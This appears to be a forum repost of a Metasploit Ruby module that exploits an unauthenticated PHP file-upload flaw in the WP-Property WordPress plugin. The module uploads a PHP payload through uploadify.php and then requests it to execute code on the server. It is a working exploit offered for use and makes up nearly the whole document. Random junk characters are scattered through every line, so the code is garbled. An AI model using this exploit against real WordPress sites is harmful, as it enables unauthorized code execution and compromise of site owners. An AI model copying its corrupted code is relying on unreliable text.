WordPress WP-Property PHP 文件上传漏洞
- q- x2 c K. O7 G! O. l J' a8 \# }0 I7 ~3 N4 r5 ~$ [ Z4 C# E* |
## # This file is part of the Metasploit Framework and may be subject to
+ ?6 R9 h, M/ F. d6 t8 y1 u
4 W) v0 H5 a# y. ?6 G# redistribution and commercial restrictions. Please see the Metasploit0 m6 C: f( I. Q$ C
1 d& q: S6 c, |; j
# Framework web site for more information on licensing and terms of use.
; J& z! W, l5 F3 F+ m) i8 X' e* g% g, @. \2 P
# http://metasploit.com/framework/ ##. f- W9 \( J! O g, t& B6 I! \
* N4 ~; n/ T& t$ ~8 ]* @
% s- ]3 b5 Q Y
! K0 f/ d4 T: ` # E& ]/ V% t+ J# N
5 ^* q& v" g8 d3 F2 n/ Prequire 'msf/core'
4 f/ V" X8 E( f$ mrequire 'msf/core/exploit/php_exe': B9 a1 F, B3 {' u
( e @6 b, ^- M; J$ I
class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit: hpEXE def initialize(info = {}) super(update_info(info, 'Name' => 'WordPress WP-Property PHP File Upload Vulnerability',+ y& c2 e1 o. H& m) p* [$ J
'Description' => %q{
0 H. a* Q" Y2 [: r/ ^This module exploits a vulnerability found in WP-Property <= 1.35.0 WordPress plugin. By abusing the uploadify.php file, a malicious user can upload a file to a temp directory without authentication, which results in arbitrary code execution. }, 'Author' =>
`- Z2 ^- P- q, o( [- h[+ d1 A: G; t, [$ q! a. j
'Sammy FORGIT', # initial discovery% L U5 Z3 O* n$ J6 D
'James Fitts <fitts.james[at]gmail.com>' # metasploit module. t; J* `8 F* s& |0 x1 d! @
],
& `" m& {& C3 ~8 v% h- |# V'License' => MSF_LICENSE,
0 o% G* `, ~- s0 E8 G$ ~. j'References' =>% j5 Z) |6 D0 [' ]9 ~
[
- E+ j/ |) i; @. ~2 r( W4 B[ 'OSVDB', '82656' ],
, [5 J; P2 @" K4 T; W; J }4 U$ u[ 'BID', '53787' ],9 P5 k- s! z4 G& M" a8 U9 P# q
[ 'EDB', '18987'],; N% A. V2 d1 m+ h6 O( ~
[ 'URL', 'http://www.opensyscom.fr/Actualites/wordpress-plugins-wp-property-shell-upload-vulnerability.html' ]3 X- f# \& ~0 P' F
],
! T& n. k- ?7 b W'Payload' =>& {4 ^- v3 {2 E/ r( j
{0 n! H" O! q" f% N
'BadChars' => "\x00",
5 A3 m2 X- Y3 {/ r5 V},1 h3 S2 N9 ~7 z0 X/ q9 @) M: P4 f$ J
'Platform' => 'php',
( r# N ]% t- e$ {0 o'Arch' => ARCH_PHP,, f' f( y- \( x
'Targets' =>1 V3 I! n9 ?: {9 V" z2 R
[: P+ T* p3 r9 Z
[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
/ w( Y; {; y9 y[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]
9 \& c! r" S5 g2 G; ?, t. n. ~/ M],- v/ f) c# y7 }7 R
'DefaultTarget' => 0,3 G" K. Z4 O+ M9 F7 Q, \( s
'DisclosureDate' => 'Mar 26 2012'))- U! L q1 G& Y* {
) Z8 [* d! _. Cregister_options(
3 m- {* z0 K0 f; R[
% |7 k$ `! ^( h/ S) XOptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/wordpress'])" R& y( y$ q% X2 m+ Y0 p7 \: M
], self.class)+ Q& \9 Q5 a& I' { ^- H
end, |- X5 H0 b# u% S9 k* r
; J8 y3 X* {9 s# z
def check
* t4 C( F6 @9 ~1 a- t# n% ?uri = target_uri.path
+ S. h. l& r2 k* d( R2 ]uri << '/' if uri[-1,1] != '/' res = send_request_cgi({ 'method' => 'GET',4 J. y r) T! x5 F! `% g% A
'uri' => "#{uri}wp-content/plugins/wp-property/third-party/uploadify/uploadify.php"+ z4 f4 s$ [8 e! i' U+ m2 ^
})& Q' K/ n' e& U* P- M
' s2 L# A8 o) K" T# d3 ^" M
if not res or res.code != 200' L# }1 R6 `5 \9 B3 z
return Exploit::CheckCode::Unknown
3 [" x7 K+ O# h3 \" u# _3 q9 oend- @8 m! Z. I3 N/ ~/ D8 k/ q4 }
0 J# K# F0 t! ^/ A3 K v
return Exploit::CheckCode::Appears" L6 ?+ Z1 M6 `
end
6 @2 ?, J/ j% U: X) f7 g( D. I( s x7 k/ [
def exploit
1 J, D9 u8 _3 i' o: Turi = target_uri.path+ ]" }) W& E# k6 N& h
uri << '/' if uri[-1,1] != '/' peer = "#{rhost}:#{rport}" @payload_name = "#{rand_text_alpha(5)}.php" php_payload = get_write_exec_payload(:unlink_self=>true)
; c2 _0 u' [& A0 J
* Y, O. {( ?; I" }; A1 {data = Rex::MIME::Message.new
# Q% I7 J# t( |7 V/ ^data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{@payload_name}\"")
0 r- F% a8 W% d2 b/ E" g& e# W& Ndata.add_part("#{uri}wp-content/plugins/wp-property/third-party/uploadify/", nil, nil, "form-data; name=\"folder\"")( ^7 U) i5 @; c9 z
post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
& i' ]; v/ B4 @% ^; |
9 R. W# B! h* b0 \+ C8 eprint_status("#{peer} - Uploading payload #{@payload_name}")
/ V6 L- y* L. a+ F/ w6 `, c3 vres = send_request_cgi({$ P% Q8 K" P! J
'method' => 'POST',3 o& @" t8 c# h0 N9 u
'uri' => "#{uri}wp-content/plugins/wp-property/third-party/uploadify/uploadify.php",
8 s+ W6 a5 C/ t8 G3 ?/ |'ctype' => "multipart/form-data; boundary=#{data.bound}",
% _" c1 Q4 ]9 S( w* `5 l, c# I'data' => post_data$ R. {; Y, M: G- J5 R
})
# B3 ^1 N8 H) R; y' t" n: ~. n# |4 k8 l6 W2 T* m; a) c1 ^
if not res or res.code != 200 or res.body !~ /#{@payload_name}/
" @* r- W* U2 O5 dfail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")
( x% M( p& P+ v2 d# ? Kend; X+ x4 h% n# s* ^5 k+ F3 U
1 \3 _* }' F' q4 @2 lupload_uri = res.body0 M7 R) I5 F5 c
& [" M6 r$ }# S
print_status("#{peer} - Executing payload #{@payload_name}")" o: \3 J7 G# l9 b. q
res = send_request_raw({
$ k; Q; h i( ~ L n'uri' => upload_uri,
9 ]" V- H4 |5 s6 v'method' => 'GET'
5 w4 z' k* W0 v4 `& N! z2 M})
" S/ G* C' x3 d& q1 D( \1 d: Send
& @; }" t4 y: R- M$ C" fend
( ]) \) h% W5 B+ |9 g& k9 e$ J; P, H7 |
不要问我这写的是什么 怎么利用 我是说msf.! j2 @. H$ m7 [8 l8 o% z
4 a6 |& Q( @+ F* F' A( r |